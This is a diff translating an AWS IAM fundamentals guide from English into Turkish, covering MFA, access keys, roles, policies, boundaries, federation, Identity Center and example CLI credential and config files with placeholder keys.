-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Kullanıcılar, konsola giriş yapmak için **MFA etkinleştirilebilir**. MFA etkinleştirilmiş kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **Erişim Anahtarı ID**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
+- **Gizli erişim anahtarı ID**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Kayıp gizli erişim anahtarı ID'leri geri alınamaz).
-Whenever you need to **change the Access Key** this is the process you should follow:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\
+NAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> eski erişim anahtarını sil_
-### MFA - Multi Factor Authentication
+### MFA - Çok Faktörlü Kimlik Doğrulama
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+Bu, mevcut yöntemlerinize ek olarak **kimlik doğrulama için ek bir faktör oluşturmak** için kullanılır, örneğin şifre, böylece çok faktörlü bir kimlik doğrulama seviyesi oluşturur.\
+Ücretsiz bir **sanal uygulama veya fiziksel cihaz** kullanabilirsiniz. AWS'de MFA etkinleştirmek için ücretsiz olarak google authentication gibi uygulamaları kullanabilirsiniz.
-Policies with MFA conditions can be attached to the following:
+MFA koşulları olan politikalar aşağıdakilere eklenebilir:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- Bir IAM kullanıcısı veya grubu
+- Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak
+- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası
+Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmalısınız. Bu, MFA hakkında bilgi içeren bir token verecektir.\
+Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**.
```bash
aws sts get-session-token --serial-number --token-code
```
+As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır.
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak bir **politikada** (kaynak tabanlı bir politika gibi) tanımlayamazsınız çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+Kullanıcı gruplarının bazı önemli özellikleri şunlardır:
-Here are some important characteristics of user groups:
+- Bir kullanıcı **grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir.
+- **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil.
+- AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız.
+- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı gibi sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın.
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
+Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları olan bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak ilişkilendirilmek yerine, bir rol **ihtiyacı olan herkes tarafından üstlenilebilir (ve yeterli izinlere sahip olmalıdır)**. Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) **atanabilir**.
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+Bir IAM rolü, **iki tür politikadan** oluşur: **boş olamaz** olan bir **güven politikası**, rolü **kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar.
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### AWS Güvenlik Token Servisi (STS)
-#### AWS Security Token Service (STS)
+AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+**Geçici kimlik bilgileri esas olarak IAM rolleri ile kullanılır**, ancak başka kullanımları da vardır. Standart IAM kullanıcınızdan daha kısıtlı bir izin setine sahip geçici kimlik bilgileri talep edebilirsiniz. Bu, daha kısıtlı kimlik bilgileri tarafından **izin verilmeyen görevleri kazara yerine getirmenizi engeller**. Geçici kimlik bilgilerinin bir avantajı, belirli bir süre sonra otomatik olarak süresinin dolmasıdır. Kimlik bilgilerinin geçerli olduğu süre üzerinde kontrol sahibisiniz.
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### Politikalar
-### Policies
+#### Politika İzinleri
-#### Policy Permissions
+İzinleri atamak için kullanılır. 2 tür vardır:
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- AWS yönetilen politikalar (AWS tarafından önceden yapılandırılmış)
+- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (onlardan birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanarak veya kendi politikanızı yazarak dayalı politikalar oluşturabilirsiniz.
+**Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\
+Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
```javascript
{
- "Version": "2012-10-17", //Version of the policy
- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
+The [herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+#### Inline Politika
-#### Inline Policies
+Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\
+Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimlikte yer alan politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+#### Kaynak Kova Politikaları
-#### Resource Bucket Policies
+Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**.
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+Eğer bir anahtarın üzerinde açık bir red yoksa ve bir kaynak politikası onlara erişim veriyorsa, o zaman izin verilir.
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+### IAM Sınırları
-### IAM Boundaries
+IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bu izinleri kullanmaya çalıştığında işlem **başarısız** olur.
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· kovalarını okuyabileceğini gösteriyorsa, yapabileceği maksimum budur.
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+**Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır.
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+### Oturum Politikaları
-### Session Policies
-
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir).
+Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir.
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
+Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) (gelişmiş kimlik doğrulaması kullanarak) AWS, oturumun erişebileceği hizmetleri sınırlayan **bir oturum politikası ile oturum kimlik bilgileri** oluşturacaktır [**aşağıdaki listeye**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikasının olmasıdır**.
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+### Kimlik Federasyonu
-### Identity Federation
+Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\
+Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz (**SAML** aracılığıyla) veya **OpenID** hizmetleridir (örneğin **Google**). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (güvenen) Kimlik Sağlayıcısına atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
-
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Ancak, genellikle üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcısına güvenebilir** ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
-### IAM Identity Center
+### IAM Kimlik Merkezi
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS kullanıcılarının yönetimi ve AWS** hesaplarına ve bulut uygulamalarına erişimlerini bir araya getiren **merkezi bir yer** sağlar.
-The login domain is going to be something like `.awsapps.com`.
+Giriş alanı, `.awsapps.com` gibi bir şey olacak.
-To login users, there are 3 identity sources that can be used:
+Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardır:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Kimlik Merkezi Dizini: Normal AWS kullanıcıları
+- Active Directory: Farklı bağlantıları destekler
+- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcısından (IdP) gelir
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir organizasyon hesabına** **politika atayabilecektir**.
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcısına güvenen bir rol, hedef hesapta oluşturulacaktır**.
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+**IAM Kimlik Merkezi aracılığıyla oluşturulan rollere satır içi politikalar aracılığıyla izinler vermek** mümkündür. **AWS Kimlik Merkezi'nde satır içi politikalar** verilen hesaplarda oluşturulan roller, **`AwsSSOInlinePolicy`** adlı bir satır içi politikada bu izinlere sahip olacaktır.
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 rol görseniz bile, bu **aynı izinlere sahip olduğu anlamına gelmez**.
-### Cross Account Trusts and Roles
+### Hesaplar Arası Güvenler ve Roller
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**Bir kullanıcı** (güvenen), bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\
+**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, federasyon kullanıcıları gibi diğer kimlik doğrulaması yapılmış kullanıcılar da bu güveni kötüye kullanabilir.
-### AWS Simple AD
+### AWS Basit AD
-Not supported:
+Desteklenmiyor:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Güven İlişkileri
+- AD Yönetim Merkezi
+- Tam PS API desteği
+- AD Geri Dönüşüm Kutusu
+- Grup Yönetilen Hizmet Hesapları
+- Şema Uzantıları
+- OS veya Örnekler için Doğrudan erişim yok
-#### Web Federation or OpenID Authentication
+#### Web Federasyonu veya OpenID Kimlik Doğrulaması
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
-### Other IAM options
+### Diğer IAM seçenekleri
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- **Minimum uzunluk ve şifre gereksinimleri** gibi bir şifre politikası ayarı yapabilirsiniz.
+- Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifre etkin mi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir.
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinleri** sağlamak için izinleri yönetirsiniz.
-### IAM ID Prefixes
+### IAM ID Ön Ekleri
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+[**bu sayfada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) anahtarların doğasına bağlı olarak **IAM ID ön eklerini** bulabilirsiniz:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [AWS STS hizmet taşıyıcı belirteci](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | Bağlama özel kimlik bilgisi |
+| AGPA | Kullanıcı grubu |
+| AIDA | IAM kullanıcısı |
+| AIPA | Amazon EC2 örnek profili |
+| AKIA | Erişim anahtarı |
+| ANPA | Yönetilen politika |
+| ANVA | Yönetilen politikadaki sürüm |
+| APKA | Genel anahtar |
+| AROA | Rol |
+| ASCA | Sertifika |
+| ASIA | [Geçici (AWS STS) erişim anahtar kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile bir arada benzersizdir. |
-### Recommended permissions to audit accounts
+### Hesapları denetlemek için önerilen izinler
-The following privileges grant various read access of metadata:
+Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +322,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## Çeşitli
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### CLI Kimlik Doğrulaması
+Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
+O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak, o dosyada **`[default]`** olarak adlandırılan profil kullanılacaktır.\
+Birden fazla profil içeren kimlik bilgisi dosyası örneği:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur.
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (kullanıcı için `assume-role` şeffaf bir şekilde gerçekleştirilecektir).\
+Bir yapılandırma dosyası örneği:
```
[profile acc2]
region=eu-west-2
@@ -368,23 +351,16 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
